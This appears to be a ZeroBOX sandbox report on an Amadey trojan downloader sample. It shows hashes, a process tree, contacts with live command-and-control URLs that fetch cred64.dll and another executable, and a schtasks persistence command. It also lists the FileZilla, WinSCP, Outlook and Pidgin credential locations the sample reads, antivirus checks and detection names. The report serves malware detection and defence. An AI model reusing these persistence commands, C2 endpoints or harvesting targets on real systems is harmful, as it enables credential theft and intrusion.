Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Dec. 30, 2022, 6:19 p.m.	Dec. 30, 2022, 6:21 p.m.

Size	235.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`5e445faf7b08cf2ffcac7b38c5d70d5d`
SHA256	`4414a9ba25d52ac38509ccf072d32e4f938990e3b02ca3c2d11fbd5cba433ab4`
CRC32	`3E60DFE2`
ssdeep	`6144:IkwjBO99g6779r0psUhmiIuVyD2NgCJgN:1TrOh2uVyCNnS`
PDB Path	D:\Mktmp\Amadey\Release\Amadey.pdb
Yara	IsPE32 - (no description) OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Malicious_Packer_Zero - Malicious Packer UPX_Zero - UPX packed file

Leman.exe "C:\Users\test22\AppData\Local\Temp\Leman.exe"
2564
- nbveek.exe "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe"
  2632
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F
    2716
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    2056

Name	Response	Post-Analysis Lookup
transfer.sh	A 144.76.136.153	144.76.136.153

IP Address	Status	Action
144.76.136.153	Active	Moloch
164.124.101.2	Active	Moloch
62.204.41.91	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Dec. 30, 2022, 6:19 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 30, 2022, 6:20 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Dec. 30, 2022, 6:19 p.m.	buffer: SUCCESS: The scheduled task "nbveek.exe" has successfully been created. console_handle: 0x00000007	1	1	0

This executable has a PDB path (1 event)

pdb_path

D:\Mktmp\Amadey\Release\Amadey.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 30, 2022, 6:19 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://62.204.41.91/8kcnjd3da3/index.php
suspicious_features	GET method with no useragent header	suspicious_request	GET http://transfer.sh/get/6ffUHF/pypfhc2o51o.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://62.204.41.91/8kcnjd3da3/Plugins/cred64.dll

Performs some HTTP requests (3 events)

request	POST http://62.204.41.91/8kcnjd3da3/index.php
request	GET http://transfer.sh/get/6ffUHF/pypfhc2o51o.exe
request	GET http://62.204.41.91/8kcnjd3da3/Plugins/cred64.dll

Sends data using the HTTP POST Method (1 event)

request

POST http://62.204.41.91/8kcnjd3da3/index.php

Allocates read-write-execute memory (usually to unpack itself) (14 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75bf1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x764b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72cd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c94000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73941000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73251000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x730d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74141000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 30, 2022, 6:20 p.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72df1000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

nbveek.exe tried to sleep 155 seconds, actually delayed analysis time by 155 seconds

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll

Creates a suspicious process (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Dec. 30, 2022, 6:19 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe	1	1
ShellExecuteExW Dec. 30, 2022, 6:19 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Dec. 30, 2022, 6:20 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process nbveek.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Dec. 30, 2022, 6:20 p.m.	buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*à¡X\|ª°@@ðOà& àCODE `DATA´° @ÀBSSá Ð´À.idata&à´@À.edataOðÄ@P.relocàÆ@P.rsrc ä@P@ø@P@ StringX@X@¤<@°<@´<@¸<@¬<@$:@@:@\|:@TObjectd@TObjectX@System@ IInterfaceÀFSystemÿÿÌD$øé©KD$øéÇKD$øéÑKÌÌ±@»@Å@ÀFÑ@@L@Ý@L@@¤<@8\@D\@¸<@¬<@T\@@:@\|:@TInterfacedObjectÀÿ%¨áAÀÿ%¤áAÀÿ% áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%\|áAÀÿ%¼áAÀÿ%xáAÀÿ%¸áAÀÿ%táAÀÿ%páAÀÿ%láAÀÿ%háAÀÿ%dáAÀÿ%`áAÀÿ%\áAÀÿ%XáAÀÿ%TáAÀÿ%PáAÀÿ%LáAÀÿ%HáAÀÿ%´áAÀÿ%DáAÀÿ%@áAÀÿ%<áAÀÿ%ÌáAÀÿ%ÈáAÀÿ%ÄáAÀÿ%8áAÀÿ%4áAÀÿ%ÜáAÀÿ%ØáAÀÿ%ÔáAÀÿ%0áAÀÿ%,áAÀÿ%(áAÀÿ%$áAÀSÄ¼» TèYÿÿÿöD$,t·\$0ÃÄD[ÃÀÿ% áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀSÄô»àÕA;uYhDjè¦ÿÿÿD$\|$u3À$ëPD$ÜÕAD$£ÜÕA3ÀÐÒL$TÑT$T$ T$@øduÜD$D$D$$$Ä[Ã@ÃÀSVÄøòØèfÿÿÿD$\|$u3Àë:T$BFT$B$D$$D$X$T$PD$°YZ^[ÃÄøP$T$$L$ T$$JàÕA£àÕAYZÃÀSVWUÄøÙðüBCD$RÊ/M;Èuèÿÿÿ@@CëC;Ðuèqÿÿÿ@CD$;7u®ÓÆèúþÿÿÀu3ÀYZ]_^[Ã@SVWUÄð$ôD$ @;ÈØ>_ùz;ßrv;Èu!BAB)BxuVèðþÿÿëMØ>_ùz;ßu B)Bë3Z\$>.}+û\|$+ÈHT$èMþÿÿÀu3Àë°ë;D$Yÿÿÿ3ÀÄ]_^[ÃSVWÚðþ}¾ëÆÿÿæÿÿsjh Vjè4ýÿÿø;ÿt#Ó¸äÕAèÜýÿÿÀuhjPèýÿÿ3À_^[ÃSVWUÙòèÇCjh hUèáüÿÿø;ÿuÆÿÿæÿÿsjh VUè¼üÿÿ;t#Ó¸äÕAèeýÿÿÀuhjPèüÿÿ3À]_^[ÃSVWUÄèùôÇD$ÿÿÿÿ3ÉL$D$T$T$¡äÕAëkD$X;\$rRÃB;D$wE;\$s\$hh;l$vl$hj@PèüÿÿÀu ÇÀÕAèýÿÿD$¸äÕA;u3À\|$tD$D$+D$GÄ]_^[ÃÀSVWUÄèÙ$t$\|$l$ÐÊáðÿÿL$$ÂÿâðÿÿT$D$D$+D$C¡äÕAë[@@E;D$sD$E;D$vD$E;EsjhE+PPè&ûÿÿÀu3Àë¸äÕA;uÄ]_^[ÃSVWUÄè$t$\|$\$ÐêÅÿåðÿÿl$$âðÿÿT$D$D$+D$A¡äÕAëX@@;D$sD$;D$vD$;s h@+PPèwúÿÿÀu ÇÀÕA¸äÕA;uÄ]_^[ÃÀSVWUÄôÚðü½ôÕAÆÿ?æÀÿÿEëA;p4Ë@ÖèJþÿÿ;t_CBC)BxuGèûÿÿë>;/u»ÓÆèmüÿÿ;t&L$ÓÅèûÿÿ\|$uL$Sè"ýÿÿ3ÀÄ]_^[ÃÀSVWUÄè$úØt$½ôÕAÇÿ?çÀÿÿEë;.t;Xuï;Xu_;x×+P@AL$è5üÿÿ\|$t3L$T$Åèoúÿÿ\|$uL$T$D$èüÿÿ$3ÒéL$×Ãèîûÿÿ\|$t4L$T$Åè(úÿÿ\|$TÿÿÿL$T$D$è4üÿÿ$3ÒëRh;ÝuB;x;$Å×è×üÿÿ$8t.$@B$@)Bxuèùÿÿë$3ÒÄ]_^[ÃSÄèÙÿ?áÀÿÿ$ÐâÀÿÿT$D$;$v_ËT$+$$èýÿÿL$Ó¸ôÕAè]ùÿÿ\$ÛtL$T$ÃènûÿÿD$D$D$D$\|$tT$¸ôÕAè©ùÿÿë3ÀÄ[ÃÀUìQ3ÒUhì@dÿ2d"hÄÕAè¼÷ÿÿ=EÐAt hÄÕAè±÷ÿÿ¸äÕAèCøÿÿ¸ôÕAè9øÿÿ¸ ÖAè/øÿÿhøjè_÷ÿÿ£ÖA=ÖAt@¸ÖA3ÉLô@=uìÇEüÖAEüUüPEüUüEü£ÖAÆ¼ÕA3ÀZYYdhó@=EÐAt hÄÕAè!÷ÿÿÃé#ëå ¼ÕAY]ÃUì request_handle: 0x00cc000c	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

62.204.41.91

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\d003af69b2\nbveek.exe" /F

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry	HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Harvests credentials from local email clients (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

File has been identified by 48 AntiVirus engines on VirusTotal as malicious (48 events)

Bkav	W32.AutoMnunAAE.Trojan
DrWeb	Trojan.SpyBot.1164
MicroWorld-eScan	Gen:Variant.Doina.45665
FireEye	Generic.mg.5e445faf7b08cf2f
ALYac	Gen:Variant.Doina.45665
Cylance	Unsafe
Zillya	Downloader.Amadey.Win32.129
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Trojan-Downloader ( 005790d31 )
K7GW	Trojan-Downloader ( 005790d31 )
Cybereason	malicious.f7b08c
Arcabit	Trojan.Doina.DB261
BitDefenderTheta	AI:Packer.803C8E5C1F
VirIT	Trojan.Win32.Genus.NIP
Cyren	W32/Agent.TIXB-6216
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.A
APEX	Malicious
Kaspersky	HEUR:Trojan-Downloader.Win32.Deyma.gen
BitDefender	Gen:Variant.Doina.45665
NANO-Antivirus	Trojan.Win32.Redcap.jtxxqn
Avast	Win32:BotX-gen [Trj]
Ad-Aware	Gen:Variant.Doina.45665
Sophos	Mal/Horst
VIPRE	Gen:Variant.Doina.45665
McAfee-GW-Edition	BehavesLike.Win32.Generic.dh
Trapmine	suspicious.low.ml.score
Emsisoft	Gen:Variant.Doina.45665 (B)
SentinelOne	Static AI - Malicious PE
Jiangmin	TrojanDownloader.Deyma.aol
Google	Detected
Antiy-AVL	Trojan[Downloader]/Win32.Amadey
Gridinsoft	Trojan.Win32.Sabsik.dd!s1
Microsoft	Trojan:Script/Phonzy.A!ml
ZoneAlarm	HEUR:Trojan-Downloader.Win32.Deyma.gen
GData	Gen:Variant.Doina.45665
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.C5234847
Acronis	suspicious
McAfee	Artemis!5E445FAF7B08
MAX	malware (ai score=80)
VBA32	TrojanDownloader.Deyma
Malwarebytes	Spyware.Amadey
Rising	Downloader.Amadey!8.125AC (TFE:5:kxJFejq2FbQ)
Ikarus	Trojan-Downloader.Win32.Amadey
Fortinet	W32/Injector.EGTS!tr
AVG	Win32:BotX-gen [Trj]

Leman.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All